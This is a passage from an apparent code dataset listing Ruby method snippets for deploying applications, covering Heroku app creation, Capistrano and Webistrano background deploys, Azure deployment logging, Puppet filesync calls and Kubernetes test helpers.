debug_settings.detail_level = 'requestContent, responseContent'\n deployment.properties.debug_setting = debug_settings\n\n # put the deployment to the resource group\n @client.deployments.create_or_update(@resource_group, 'azure-sample', deployment)\n\n # See logged information related to the deployment operations\n operation_results = @client.deployment_operations.list(@resource_group, 'azure-sample')\n unless operation_results.nil?\n operation_results.each do |operation_result|\n puts \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\"\n puts \"operation_id = #{operation_result.operation_id}\"\n unless operation_result.properties.nil?\n puts \"provisioning_state = #{operation_result.properties.provisioning_state}\"\n puts \"status_code = #{operation_result.properties.status_code}\"\n puts \"status_message = #{operation_result.properties.status_message}\"\n puts \"target_resource = #{operation_result.properties.target_resource.id}\" unless operation_result.properties.target_resource.nil?\n puts \"request = #{operation_result.properties.request.content}\" unless operation_result.properties.request.nil?\n puts \"response = #{operation_result.properties.response.content}\" unless operation_result.properties.response.nil?\n end\n end\n end\n end",
"def run_all\n deploy_code\n run_test\n end",
"def deploy\n cmd = \"deploy #{@resource[:source]} --name=#{@resource[:name]}#{runtime_name_param_with_space_or_empty_string}\"\n if @resource[:runasdomain]\n cmd = append_groups_to_cmd(cmd, @resource[:servergroups])\n end\n cmd = \"#{cmd} --force\" if force_deploy?\n display_lines 100\n bring_up 'Deployment', cmd\n @resource[:name]\n end",
"def run\n case action\n when 'new'\n require_relative('templater')\n Templater.new(File.expand_path(directory, Dir.pwd), settings).run!\n when 'console'\n require_relative('console')\n Wukong::Deploy::Console.new.run!\n end\n end",
"def setup_apps\n authorize unless @heroku\n\n # get a list of all my current apps on Heroku (so we don't create dupes)\n @my_apps = @heroku.list.map{|a| a.first}\n\n each_heroku_app do |heroku_env, app_name, repo|\n next if @my_apps.include?(app_name)\n\n stack = @config.stack(heroku_env)\n stack_option = \" --stack #{stack}\" if stack.to_s.size > 0\n creation_command \"heroku create #{app_name}#{stack_option} --remote #{app_name}\"\n end\n end",
"def custom_capify(data={}, config=nil)\n # defaults\n data[:server_url] = \"\"\n data[:branch] = \"master\"\n\n FileUtils.mkdir_p AppDirectory.deploy\n\n build_capfile\n\n deploy_rb = AppDirectory.config.join('deploy.rb')\n build_template(\"templates/deploy.rb.erb\", deploy_rb, binding)\n\n FileUtils.mkdir_p AppDirectory.tasks\n\n puts I18n.t :capified, scope: :negroku\n\n end",
"def deploy!(options={})\n params = {}\n params['api_key'] = @api_key\n params['deploy[rails_env]'] = options[:framework_env] || 'development'\n params['deploy[local_username]'] = options[:username] || %x(whoami).strip\n params['deploy[scm_repository]'] = options[:scm_repository]\n params['deploy[scm_revision]'] = options[:scm_revision]\n response(@deploy_url, params)\n end",
"def main\n @app.main\n end",
"def call( env )\n\n if env[ 'options.confirm' ] && !confirm?( env[ 'remote' ], env[ 'branch' ] )\n raise Interrupt, 'Use cancelled the deployment.'\n end\n\n @app.call env\n end",
"def setup!\n return self if @app_is_setup\n puts \"Hatchet setup: #{name.inspect} for #{repo_name.inspect}\"\n create_app\n set_labs!\n # heroku.put_config_vars(name, 'BUILDPACK_URL' => @buildpack)\n buildpack_list = @buildpacks.map {|pack| { buildpack: pack }}\n platform_api.buildpack_installation.update(name, updates: buildpack_list)\n @app_is_setup = true\n self\n end",
"def test_global_deploy_black_box_success\n setup_template_dir(\"globals\") do |target_dir|\n flags = \"-f #{target_dir} --selector app=krane\"\n out, err, status = krane_black_box(\"global-deploy\", \"#{KubeclientHelper::TEST_CONTEXT} #{flags}\")\n assert_empty(out)\n assert_match(\"Success\", err)\n assert_predicate(status, :success?)\n end\n ensure\n build_kubectl.run(\"delete\", \"-f\", fixture_path(\"globals\"), use_namespace: false, log_failure: false)\n end",
"def test_deployer\n @deployer ||= HybridPlatformsConductor::Deployer.new logger: logger, logger_stderr: logger, config: test_config, cmd_runner: test_cmd_runner, nodes_handler: test_nodes_handler, actions_executor: test_actions_executor, services_handler: test_services_handler\n @deployer\n end",
"def action_before_deploy\n install_packages\n end",
"def application_specific_tasks\n # system 'cap deploy:whenever:update_crontab'\n # system 'cap deploy:delayed_job:stop'\n # system 'cap deploy:delayed_job:start n=1'\n # system 'cap deploy:run_command command=\"ls -la\"'\nend",
"def application_specific_tasks\n # system 'cap deploy:whenever:update_crontab'\n # system 'cap deploy:delayed_job:stop'\n # system 'cap deploy:delayed_job:start n=1'\n # system 'cap deploy:run_command command=\"ls -la\"'\nend",
"def application_specific_tasks\n # system 'cap deploy:whenever:update_crontab'\n # system 'cap deploy:delayed_job:stop'\n # system 'cap deploy:delayed_job:start n=1'\n # system 'cap deploy:run_command command=\"ls -la\"'\nend",
"def remote_deploy(options={})\n @cartridge_model.do_control('update-configuration',\n @cartridge_model.primary_cartridge,\n pre_action_hooks_enabled: false,\n post_action_hooks_enabled: false,\n out: options[:out],\n err: options[:err])\n\n deploy(options)\n\n if options[:init]\n primary_cart_env_dir = PathUtils.join(@container_dir, @cartridge_model.primary_cartridge.directory, 'env')\n primary_cart_env = ::OpenShift::Runtime::Utils::Environ.load(primary_cart_env_dir)\n ident = primary_cart_env.keys.grep(/^OPENSHIFT_.*_IDENT/)\n _, _, version, _ = Runtime::Manifest.parse_ident(primary_cart_env[ident.first])\n\n @cartridge_model.post_install(@cartridge_model.primary_cartridge,\n version,\n out: options[:out],\n err: options[:err])\n\n end\n end",
"def filesync_deploy\n @logger.debug('Pem::filesync_deploy') { 'starting filesync deploy' }\n\n ssl_options = {\n 'client_cert' => OpenSSL::X509::Certificate.new(File.read(@conf['filesync_cert'])),\n 'client_key' => OpenSSL::PKey::RSA.new(File.read(@conf['filesync_cert_key'])),\n 'ca_file' => @conf['filesync_ca_cert'],\n }\n\n conn = Faraday.new(url: \"https://#{@conf['master']}:8140\", ssl: ssl_options) do |faraday|\n faraday.request :json\n faraday.options[:timeout] = 300\n faraday.adapter Faraday.default_adapter\n end\n\n @logger.debug('Pem::filesync_deploy') { 'Hitting filesync commit endpoint...' }\n conn.post '/file-sync/v1/commit', 'commit-all' => true\n @logger.debug('Pem::filesync_deploy') { 'Done.' }\n\n @logger.debug('Pem::filesync_deploy') { 'Hitting filesync force-sync endpoint...' }\n conn.post '/file-sync/v1/force-sync'\n @logger.debug('Pem::filesync_deploy') { 'Done.' }\n\n @logger.debug('Pem::filesync_deploy') { 'Hitting puppet-admin-api env endpoint...' }\n conn.delete '/puppet-admin-api/v1/environment-cache'\n @logger.debug('Pem::filesync_deploy') { 'Done.' }\n\n @logger.debug('Pem::filesync_deploy') { 'completed filesync deploy' }\n end",
"def application_specific_tasks\n # system 'cap deploy:whenever:update_crontab'\n # system 'cap deploy:delayed_job:stop'\n # system 'cap deploy:delayed_job:start n=1'\n # system 'cap deploy:run_command command='ls -la''\nend",
"def deploy\n require 'rest_client'\n require 'uri'\n\n if (@role.nil? or !(@role.services_permissions)) and !current_actor.superadmin\n json_response({ message: \"You don't have permission to deploy services in this project\" }, :unauthorized)\n return\n end\n\n # Env variables for Manager host and port\n serviceManagerHost = Settings.service_manager_host\n serviceManagerPort = Settings.service_manager_port.to_s\n serviceManagerURI = 'http://' + serviceManagerHost + ':' + serviceManagerPort + '/v1/stack'\n\n # Service name in query\n serviceName = params[\"service_name\"]\n service = Service.find(params[\"service_id\"])\n if service.nil? then\n return\n end\n\n # Find Service type to retrieve deploy template\n serviceType = ServiceType.find(service.service_type_id)\n serviceTypeName = serviceType.name\n serviceTypeVersion = serviceType.version\n composeData = serviceType.deploy_template\n\n # Getting external files needed by the compose\n externalFiles = []\n if !serviceType.local_path.nil? && serviceType.local_path != ''\n for path in Dir['./' + serviceType.local_path + '/*']\n externalFileName = File.basename(path)\n if (externalFileName != \"docker-compose.yml\" && externalFileName != \"mastermind.yml\" && !externalFileName.end_with?('.md'))\n externalFileContents = File.read(path)\n externalFiles.append({\"#{externalFileName}\" => externalFileContents})\n end\n end\n end\n\n # Making env variable string for Service Manager (YAML format)\n envVariables = \"\"\n begin\n serviceConf = JSON.parse(service.configuration)\n serviceConf.each do |k, v|\n envVariables = envVariables + k + \": \" + v.to_s + \"\\n\"\n end\n rescue JSON::ParserError\n json_response({message: \"Invalid configuration\"}, :unprocessable_entity)\n return\n end\n envVariables = envVariables.chomp(\"\\n\")\n\n # Preparing message for Service Manager\n stack = {\n 'name' => serviceName,\n 'engine-url' => @cluster.endpoint,\n 'compose-file' => composeData,\n 'compose-vars' => envVariables,\n 'external_files' => externalFiles,\n 'ca-cert' => @cluster.ca,\n 'cert' => @cluster.cert,\n 'cert-key' => @cluster.key\n }.to_json\n\n begin\n response = RestClient.post(\n serviceManagerURI,\n stack,\n 'Accept' => 'application/json',\n 'Content-Type' => 'application/json'\n )\n puts \"Deploy Response: \" + response\n json_response(response, :created)\n # Update service as Active if successfully deployed\n # TODO: Perhaps make a better check\n service.update({endpoint: URI.parse(@cluster.endpoint).host, status: \"Active\", docker_service_id: serviceName})\n rescue Exception => e\n # If error, return it to the client\n puts e\n json_response({message: e}, :unprocessable_entity)\n end\n end",
"def deploy_application(app_id, options = {:comment => nil, :migrate => false})\n json_command = JSON.dump(:command => 'deploy', \n :comment => options[:comment], \n :migrate => options[:migrate])\n http_post_request(Scalarium.applications_url+\"/#{app_id}/deploy\", json_command) \n end",
"def setup\n\n setup_path\n save_application_details\n add_jvm_args\n rename_server_instance\n\n \"/bin/sh ./#{SETUP_ENV_SCRIPT}\"\n end",
"def create_app()\n app = OpenShift::TestApplication.new(self)\n\n $logger.info(\"Created new application #{app.name} for account #{@name}\")\n\n @apps << app\n app\n end",
"def heroku\n puts Rainbow(\"Step 1. Create new Heroku application\").foreground(:green)\n\n puts \"Please enter the name of the new Heroku application:\"\n name = STDIN.gets.gsub(\"\\n\", \"\")\n\n createapp = nil\n Bundler.with_clean_env do\n createapp = `heroku create #{name}`\n end\n\n if !createapp.include?(\"done, stack is cedar\")\n puts createapp\n choose do |menu|\n menu.prompt = \"Continue?\"\n\n menu.choice \"Yes\" do \n end\n \n menu.choice \"No\" do\n return\n end\n end\n end\n\n environment(name)\n collaborators(name)\n database(name)\n domains(name)\n email(name)\n asset_sync(name)\n end",
"def start\n\n cloud = Cloud.new(CloudInfrastructure.new(), CloudLeader.new(), resource,\n method(:err))\n puts \"Starting cloud %s\" % [resource[:name]]\n \n # Check existence\n if !exists?\n # Cloud does not exist => Startup operations\n \n # Check pool of physical machines\n puts \"Checking pool of physical machines...\"\n pm_up, pm_down = cloud.check_pool()\n unless pm_down.empty?\n puts \"Some physical machines are down\"\n pm_down.each do |pm|\n puts \" - #{pm}\"\n end\n end\n \n # Obtain the virtual machines' IPs\n puts \"Obtaining the virtual machines' IPs...\"\n #vm_ips, vm_ip_roles, vm_img_roles = obtain_vm_data(method(:appscale_yaml_ips),\n # method(:appscale_yaml_images))\n vm_ips, vm_ip_roles, vm_img_roles = obtain_vm_data(cloud.resource)\n \n # Check whether you are one of the virtual machines\n puts \"Checking whether this machine is part of the cloud...\"\n part_of_cloud = vm_ips.include?(MY_IP)\n if part_of_cloud\n puts \"#{MY_IP} is part of the cloud\"\n \n # Check if you are the leader\n if cloud.leader?()\n cloud.leader_start(\"appscale\", vm_ips, vm_ip_roles, vm_img_roles,\n pm_up, method(:appscale_monitor))\n else\n cloud.common_start()\n end\n else\n puts \"#{MY_IP} is not part of the cloud\"\n cloud.not_cloud_start(\"appscale\", vm_ips, vm_ip_roles, vm_img_roles,\n pm_up)\n end\n \n else\n \n # Cloud exists => Monitoring operations\n puts \"Cloud already started\"\n \n # Check if you are the leader\n if cloud.leader?()\n cloud.leader_monitoring(method(:appscale_monitor))\n else\n puts \"#{MY_IP} is not the leader\" # Nothing to do\n end\n end\n \n end",
"def prepare_common_installation\n `cd #{self.project_root} && BUNDLE_GEMFILE=Gemfile bundle exec cap #{self.environment} deploy:prepare_installation:common -S phase=node_prepare HOSTS=#{self.hostname}`\n end",
"def deploy_in_background! \n unless RAILS_ENV == 'test' \n RAILS_DEFAULT_LOGGER.info \"Calling other ruby process in the background in order to deploy deployment #{self.id} (stage #{self.stage.id}/#{self.stage.name})\"\n system(\"sh -c \\\"cd #{RAILS_ROOT} && ruby script/runner -e #{RAILS_ENV} ' deployment = Deployment.find(#{self.id}); deployment.prompt_config = #{self.prompt_config.inspect.gsub('\"', '\\\"')} ; Webistrano::Deployer.new(deployment).invoke_task! ' >> #{RAILS_ROOT}/log/#{RAILS_ENV}.log 2>&1\\\" &\")\n end\n end",
"def deploy!\n puts \"Adding and committing compiled output for deployment..\"\n puts %x[git add .]\n puts %x[git commit -a -m \"temporary commit for deployment\"]\n puts 'Deploying to Heroku..'\n puts %x[git push heroku HEAD:master --force]\nend",
"def deploy!\n puts \"Adding and committing compiled output for deployment..\"\n puts %x[git add .]\n puts %x[git commit -a -m \"temporary commit for deployment\"]\n puts 'Deploying to Heroku..'\n puts %x[git push heroku HEAD:master --force]\nend",
"def deploy_in_background!\n notify_hipchat_on_execute\n unless Rails.env.test?\n Rails.logger.info \"Calling other ruby process in the background in order to deploy deployment #{self.id} (stage #{self.stage.id}/#{self.stage.name})\"\n\n system <<\"EOS\"\ncd #{Rails.root} && rails runner -e #{Rails.env} 'deployment = Deployment.find(#{self.id}); deployment.prompt_config = #{self.prompt_config.inspect.gsub('\"', '\\\"')} ; Webistrano::Deployer.new(deployment).invoke_task! ' >> #{Rails.root}/log/#{Rails.env}.log 2>&1 &\nEOS\n end\n end",
"def run_hook(_resources)\n setup_code_deploy_s3_buckets\n end",
"def compile\n Liberty.validate(@app_dir)\n @liberty_components_and_uris, @liberty_license = Liberty.find_liberty_files(@app_dir, @configuration)\n unless LibertyBuildpack::Util.check_license(@liberty_license, @license_id)\n print \"\\nYou have not accepted the IBM Liberty License.\\n\\nVisit the following uri:\\n#{@liberty_license}\\n\\nExtract the license number (D/N:) and place it inside your manifest file as a ENV property e.g. \\nENV: \\n IBM_LIBERTY_LICENSE: {License Number}.\\n\"\n raise\n end\n download_and_install_liberty\n link_application\n update_server_xml\n make_server_script_runnable\n download_and_install_features\n # Need to do minify here to have server_xml updated and applications and libs linked.\n minify_liberty if minify?\n overlay_java\n set_liberty_system_properties\n set_jdk_memory_configuration\n populate_class_cache if populate_class_cache_staging?\n end",
"def setup\n\n setup_path\n save_application_details\n add_jvm_args\n rename_server_instance\n\n \"/bin/bash ./#{SETUP_ENV_SCRIPT}\"\n end",
"def application_packages\n # If you've already told Moonshine about a package required by a gem with\n # :apt_gems in <tt>moonshine.yml</tt> you do not need to include it here.\n # package 'some_native_package', :ensure => :installed\n \n # some_rake_task = \"/usr/bin/rake -f #{configuration[:deploy_to]}/current/Rakefile custom:task RAILS_ENV=#{ENV['RAILS_ENV']}\"\n # cron 'custom:task', :command => some_rake_task, :user => configuration[:user], :minute => 0, :hour => 0\n \n cron \"#{deploy_stage}_daily_backup\",\n :command => \"astrails-safe #{configuration[:deploy_to]}/current/config/astrails_safe_backup_#{deploy_stage}.conf\",\n :user => configuration[:user],\n :minute => \"0\",\n :hour => \"0\"\n \n # %w( root rails ).each do |user|\n # mailalias user, :recipient => 'you@domain.com'\n # end\n \n # farm_config = <<-CONFIG\n # MOOCOWS = 3\n # HORSIES = 10\n # CONFIG\n # file '/etc/farm.conf', :ensure => :present, :content => farm_config\n \n # Logs for Rails, MySQL, and Apache are rotated by default\n # logrotate '/var/log/some_service.log', :options => %w(weekly missingok compress), :postrotate => '/etc/init.d/some_service restart'\n \n # Only run the following on the 'testing' stage using capistrano-ext's multistage functionality.\n # on_stage 'testing' do\n # file '/etc/motd', :ensure => :file, :content => \"Welcome to the TEST server!\"\n # end\n end",
"def deploy_in_background! \n unless Rails.env.test?\n Rails.logger.info \"Calling other ruby process in the background in order to deploy deployment #{self.id} (stage #{self.stage.id}/#{self.stage.name})\"\n\n system(\"sh -c \\\"cd #{Rails.root} && rails runner -e #{Rails.env} ' deployment = Deployment.find(#{self.id}); deployment.prompt_config = #{self.prompt_config.inspect.gsub('\"', '\\\"')} ; Webistrano::Deployer.new(deployment).invoke_task! ' >> #{Rails.root}/log/#{Rails.env}.log 2>&1\\\" &\")\n end\n end",
"def run\n apply_cli_options!\n # this is where cloudy stuff would go...\n prepare_config\n prepare_installers\n\n transport.connect do |session|\n ui.msg( \"Installing config files\" )\n config_generator.install_config(session)\n ui.msg( \"Executing installer...\" )\n installer.install(session)\n config_generator.run_chef(session, installer)\n end\n end",
"def deploySite\n verifyOS\n timeDate = Time.new\n vConfig(CONFIG['configWebsite'])\n read_json(CONFIG['configWebsite'])\n compileP = @parse_json_config['deploy']['compile']['built']\n branchBuilt = @parse_json_config['deploy']['branch']['built']\n msgCommit = @parse_json_config['deploy']['github']['config']['commit']\n if compileP == \"yes\"\n system_commands(\"rake build\")\n end\n # enter_folder(\"./_site\") # DEPRECATED\n add_repo_git(SITEDIR)\n add_remoteurl(SITEDIR)\n pull_execute(branchBuilt, SITEDIR)\n system_commands(\"echo Deploy source files. Wait ...\")\n git_checkout(branchBuilt, SITEDIR)\n system_commands(\"cd #{SITEDIR}; git add .\")\n system_commands(\"cd #{SITEDIR}; git commit -m \\\"#{msgCommit} - #{timeDate.inspect}\\\"\")\n system_commands(\"cd #{SITEDIR}; git push origin -u #{branchBuilt}\")\n\n end",
"def generate()\n say \"Generating Cloud #{ options[:cloud] } IaC\", :green\n @values = parse_cloud_config\n\n case options[:cloud]\n when 'aws'\n copy_file('aws/terraform/main.tf', 'terraform/main.tf')\n copy_file('aws/terraform/network.tf', 'terraform/network.tf')\n copy_file('aws/terraform/outputs.tf', 'terraform/outputs.tf')\n copy_file('aws/terraform/variables.tf', 'terraform/variables.tf')\n template('aws/terraform/terraform.tfvars.erb', 'terraform/terraform.tfvars')\n copy_file('aws/README.md', 'README.md')\n\n template('aws/bosh-install.sh.erb', 'bin/bosh-install.sh')\n template('aws/setup-tunnel.sh.erb', 'bin/setup-tunnel.sh')\n template('aws/concourse-deploy.sh.erb', 'bin/concourse-deploy.sh')\n template('aws/set-env.sh.erb', 'bin/set-env.sh')\n chmod('bin/bosh-install.sh', 0755)\n chmod('bin/concourse-deploy.sh', 0755)\n chmod('bin/setup-tunnel.sh', 0755)\n\n when 'gcp'\n copy_file('gcp/terraform/main.tf', 'terraform/main.tf')\n copy_file('gcp/terraform/network.tf', 'terraform/network.tf')\n copy_file('gcp/terraform/outputs.tf', 'terraform/outputs.tf')\n copy_file('gcp/terraform/variables.tf', 'terraform/variables.tf')\n template('gcp/terraform/terraform.tfvars.erb', 'terraform/terraform.tfvars')\n copy_file('gcp/README.md', 'README.md', force: true)\n\n template('gcp/bosh-install.sh.erb', 'bin/bosh-install.sh')\n template('gcp/bosh-vars.yml.erb', 'bosh-vars.yml')\n template('gcp/setup-tunnel.sh.erb', 'bin/setup-tunnel.sh')\n template('gcp/set-env.sh.erb', 'bin/set-env.sh')\n chmod('bin/bosh-install.sh', 0755)\n chmod('bin/setup-tunnel.sh', 0755)\n\n else\n say 'Cloud provider not specified'\n\n end\n end",
"def install_server(project_path=nil)\n environments = Engineyard::Jenkins::AppcloudEnv.new.find_environments(options)\n if environments.size == 0\n no_environments_discovered and return\n elsif environments.size > 1\n too_many_environments_discovered(environments) and return\n end\n \n env_name, account_name, environment = environments.first\n if environment.instances.first\n public_hostname = environment.instances.first.public_hostname\n status = environment.instances.first.status\n end\n \n temp_project_path = File.expand_path(project_path || File.join(Dir.tmpdir, \"temp_jenkins_server\"))\n shell.say \"Temp installation dir: #{temp_project_path}\" if options[:verbose]\n \n FileUtils.mkdir_p(temp_project_path)\n FileUtils.chdir(temp_project_path) do\n # 'install_server' generator\n require 'engineyard-jenkins/cli/install_server_generator'\n Engineyard::Jenkins::InstallServerGenerator.start(ARGV.unshift(temp_project_path))\n\n say \"\"\n say \"Uploading to \"; say \"'#{env_name}' \", :yellow; say \"environment on \"; say \"'#{account_name}' \", :yellow; say \"account...\"\n require 'engineyard/cli/recipes'\n environment.tar_and_upload_recipes_in_cookbooks_dir\n\n if status == \"running\" || status == \"error\"\n say \"Environment is rebuilding...\"\n environment.run_custom_recipes\n watch_page_while public_hostname, 80, \"/\" do |req|\n req.body !~ /Please wait while Jenkins is getting ready to work/\n end\n\n say \"\"\n say \"Jenkins is starting...\"\n watch_page_while public_hostname, 80, \"/\" do |req|\n req.body =~ /Please wait while Jenkins is getting ready to work/\n end\n \n require 'jenkins'\n require 'jenkins/config'\n ::Jenkins::Config.config[\"base_uri\"] = public_hostname\n ::Jenkins::Config.store!\n \n say \"\"\n say \"Done! Jenkins CI hosted at \"; say \"http://#{public_hostname}\", :green\n else\n say \"\"\n say \"Almost there...\"\n say \"* Boot your environment via https://cloud.engineyard.com\", :yellow\n end\n end\n end",
"def deploy\n unless ITEMS[:project].has_value? SETTINGS[:project]\n raise \"Invalid project: #{SETTINGS[:project]}.\"\n end\n\n # Call the original deploy method.\n orig_deploy\n end",
"def application_packages\n # If you've already told Moonshine about a package required by a gem with\n # :apt_gems in <tt>moonshine.yml</tt> you do not need to include it here.\n # package 'some_native_package', :ensure => :installed\n\n # some_rake_task = \"/usr/bin/rake -f #{configuration[:deploy_to]}/current/Rakefile custom:task RAILS_ENV=#{ENV['RAILS_ENV']}\"\n # cron 'custom:task', :command => some_rake_task, :user => configuration[:user], :minute => 0, :hour => 0\n\n # %w( root rails ).each do |user|\n # mailalias user, :recipient => 'you@domain.com'\n # end\n\n # farm_config = <<-CONFIG\n # MOOCOWS = 3\n # HORSIES = 10\n # CONFIG\n # file '/etc/farm.conf', :ensure => :present, :content => farm_config\n\n # Logs for Rails, MySQL, and Apache are rotated by default\n # logrotate '/var/log/some_service.log', :options => %w(weekly missingok compress), :postrotate => '/etc/init.d/some_service restart'\n\n # Only run the following on the 'testing' stage using capistrano-ext's multistage functionality.\n # on_stage 'testing' do\n # file '/etc/motd', :ensure => :file, :content => \"Welcome to the TEST server!\"\n # end\n end",
"def run_actions\n # List vhosts\n if ( @options[:actions].include?(:web_server) || @options[:actions].include?(:list_vhosts))\n @nginx = Cheese::Nginx::Config.new(NGINX_CONF)\n end\n \n if @options[:actions].include? :list_vhosts\n Cheese::Verbose.log_task(\"listing vhosts in nginx.conf\") do\n begin\n @nginx.domains.each_with_index {|domain, i| puts \"#{i}. #{domain.vhost.domain} - #{domain.proxy.ports.size} threads\" }\n rescue Exception => e\n puts \"Error listing vhosts:\"\n puts e.message\n puts \"exiting\"\n exit\n end\n end\n end\n\n # Nginx\n if @options[:actions].include? :web_server\n begin\n Cheese::Verbose.log_task(\"back up nginx.conf\") do\n FileUtils.cp(NGINX_CONF, NGINX_CONF + \".old\") if File.exists?(NGINX_CONF)\n end\n rescue Errno::EPERM\n puts \"This script must be run with root privileges\"\n exit\n rescue Errno::EACCES\n puts \"This script must be run with root privileges\"\n exit\n end\n \n case @options[:remove]\n when false\n Cheese::Verbose.log_task(\"create nginx vhost (#{@options[:name]})\") do\n @added_domain = @nginx.add @options\n end\n when true\n Cheese::Verbose.log_task(\"remove nginx vhost (#{@options[:name]})\") do \n @removed_domain = @nginx.remove @options\n end\n end\n \n @nginx.save\n @nginx.restart\n end\n \n # Subversion\n if @options[:actions].include? :scm\n if @options[:remove]\n Cheese::Verbose.log_task(\"remove subversion repository (#{@options[:name]})\") do\n svn = Cheese::Subversion::Repository.remove @options[:name]\n end\n else\n Cheese::Verbose.log_task(\"add subversion repository (#{@options[:name]})\") do\n svn = Cheese::Subversion::Repository.create @options[:name]\n end\n Cheese::Verbose.log_task(\"set the default permissions on the repository\") do\n user, pass = @preferences[:scm_user].chomp, @preferences[:scm_pass].chomp\n Cheese::Subversion::Repository.set_permissions( :name => @options[:name],\n :access => {:anon => :none, :auth => :write},\n :users => {:user => user, :pass => pass})\n end\n end\n end\n\n # Mongrel cluster file\n if @options[:actions].include? :app_server\n if @options[:remove]\n Cheese::Verbose.log_task(\"remove the mongrel_cluster file\") do\n Cheese::Mongrel.remove(@removed_domain)\n end\n else\n Cheese::Verbose.log_task(\"create the mongrel_cluster file\") do\n Cheese::Mongrel.create(@options[:name], @added_domain.proxy.ports)\n end\n end\n end\n \n # Database\n if @options[:actions].include? :database\n if @options[:remove]\n Cheese::Verbose.log_task(\"drop a database\") do\n Cheese::Verbose.log_task(\" requiring lib/#{@options[:database_type]}\")\n require \"database/#{@options[:database_type]}\"\n Cheese::Verbose.log_task(\" creating class #{@options[:database_type].to_s.capitalize}\")\n db_klass = Cheese.const_get(@options[:database_type].to_s.capitalize.intern)\n Cheese::Verbose.log_task(\" executing remove command on #{@options[:name]}\")\n db_klass.remove(@options[:name])\n end\n else\n Cheese::Verbose.log_task(\"create a database\") do\n Cheese::Verbose.log_task(\" requiring lib/#{@options[:database_type]}\")\n require \"database/#{@options[:database_type]}\"\n Cheese::Verbose.log_task(\" creating class #{@options[:database_type].to_s.capitalize}\")\n db_klass = Cheese.const_get(@options[:database_type].to_s.capitalize.intern)\n Cheese::Verbose.log_task(\" executing create command\")\n db_klass.create(@options[:name])\n end\n end\n end\n end",
"def main_app\n\n utilities_pod\n realm_pod\n \nend",
"def puppet_installation\n `cd #{self.project_root} && BUNDLE_GEMFILE=Gemfile bundle exec cap #{self.environment} deploy:prepare_installation:puppet -S phase=node_prepare HOSTS=#{self.hostname}`\n end",
"def deploy_local(appdir, appname, params={})\n @vespa.deploy_local(appdir, appname, @vespa.nodeproxies[hostlist.first], selfdir, params)\n end",
"def deploy(attrs)\n Deployment.deploy(api, self, attrs)\n end",
"def start_post\n request_file_path\n ipa_file_path = get_file_path\n request_notes\n release_notes = get_notes\n distribution_list = get_distribution_list #calls the fetch && confirm methods\n post_app(get_conf('end_point'), get_conf('api_key'), get_conf('team_key'), ipa_file_path, release_notes, distribution_list)\n end",
"def setup_before_restart\n tcs_static = node['thecollegesound']['static_root']\n tcs_app = File.join(node['thecollegesound']['app_root'], 'current')\n\n # -- Link statics (css, js, basic images)\n # FIXME: Consolidate the image directories\n ['css', 'js', 'images', 'icons', 'img'].each do |dir|\n link \"#{tcs_static}/static/#{dir}\" do\n to \"#{tcs_app}/collegesound/static/#{dir}\"\n end\n end\n\n # -- Link templates\n link \"#{tcs_static}/templates\" do\n to \"#{tcs_app}/collegesound/templates\"\n end\n\n # -- Install the package\n bash 'install_package' do\n user 'root'\n cwd tcs_app\n code 'python setup.py install'\n end\n\n # -- Run migration\n bash 'run_migration' do\n user 'root'\n cwd \"#{tcs_app}/collegesound\"\n code <<-EOH\n python manage.py convert_to_south main\n python manage.py migrate main\n EOH\n end\nend",
"def deploy\n system %Q[ssh -lroot \"#{server}\" <<'EOF'\n \tcat >\"#{remote_script_name}\" <<'EOS'\n#{generate}EOS\nchmod +x \"#{remote_script_name}\"\nsource \"#{remote_script_name}\"\nEOF\n ]\n end",
"def start_app\nend",
"def negroku\n File.join(File.dirname(__FILE__), 'negroku', 'deploy.rb')\nend",
"def create_app(name, url)\n JSON.parse((@cloudvox_api[\"/applications/create.json\"].post :call_flow => {:name => name}, :agi => {:url => url}).body)\n end",
"def run_stack(ctn, payload, directory, action)\n unless([:create, :update].include?(action.to_sym))\n abort ArgumentError.new(\"Invalid action argument `#{action}`. Expecting `create` or `update`!\")\n end\n ctn.exec!('bundle install', :cwd => directory, :timeout => 120)\n stack_name = payload.get(:data, :stacks, :name)\n\n event!(:info, :info => \"Starting stack #{action} - #{stack_name}!\", :message_id => payload[:message_id])\n\n stream = Fission::Utils::RemoteProcess::QueueStream.new\n env_vars = build_environment_variables(payload)\n future = Zoidberg::Future.new do\n begin\n ctn.exec(\n \"bundle exec sfn #{action} #{stack_name} --defaults --no-interactive-parameters --file #{payload.get(:data, :stacks, :template)} --yes\",\n :stream => stream,\n :cwd => directory,\n :environment => env_vars.merge(\n 'HOME' => directory,\n 'USER' => 'SparkleProvision'\n ),\n :timeout => 3600 # TODO: This will probably need to be tunable!\n )\n rescue => e\n error \"Stack #{action} failed (ID: #{payload[:message_id]}): #{e.class} - #{e}\"\n debug \"#{e.class}: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n Fission::Utils::RemoteProcess::Result.new(-1, \"Build failed (ID: #{payload[:message_id]}): #{e.class} - #{e}\")\n ensure\n stream.write :complete\n end\n end\n\n until((lines = stream.pop) == :complete)\n lines.split(\"\\n\").each do |line|\n line = line.sub(/^\\[.+?\\]/, '').strip\n next if line.empty?\n debug \"Log line: #{line}\"\n event!(:info, :info => line, :message_id => payload[:message_id])\n end\n end\n\n result = future.value\n ctn.terminate\n\n if(result && result.success?)\n event!(:info, :info => \"Stack #{action} completed - #{stack_name}!\", :message_id => payload[:message_id])\n else\n error \"Stack #{action} failed for stack #{stack_name}\"\n error \"Stack #{action} failed with exit status of `#{result.exit_code}`\"\n error = Fission::Error::RemoteProcessFailed.new(\"Stack #{action} failed - Exit code: #{result.exit_code}\")\n raise error\n end\n end",
"def register_as_deployed\n AddCommand.exec \"#{self.name}:#{self.root_path}\", 'servers' => [@shell]\n end",
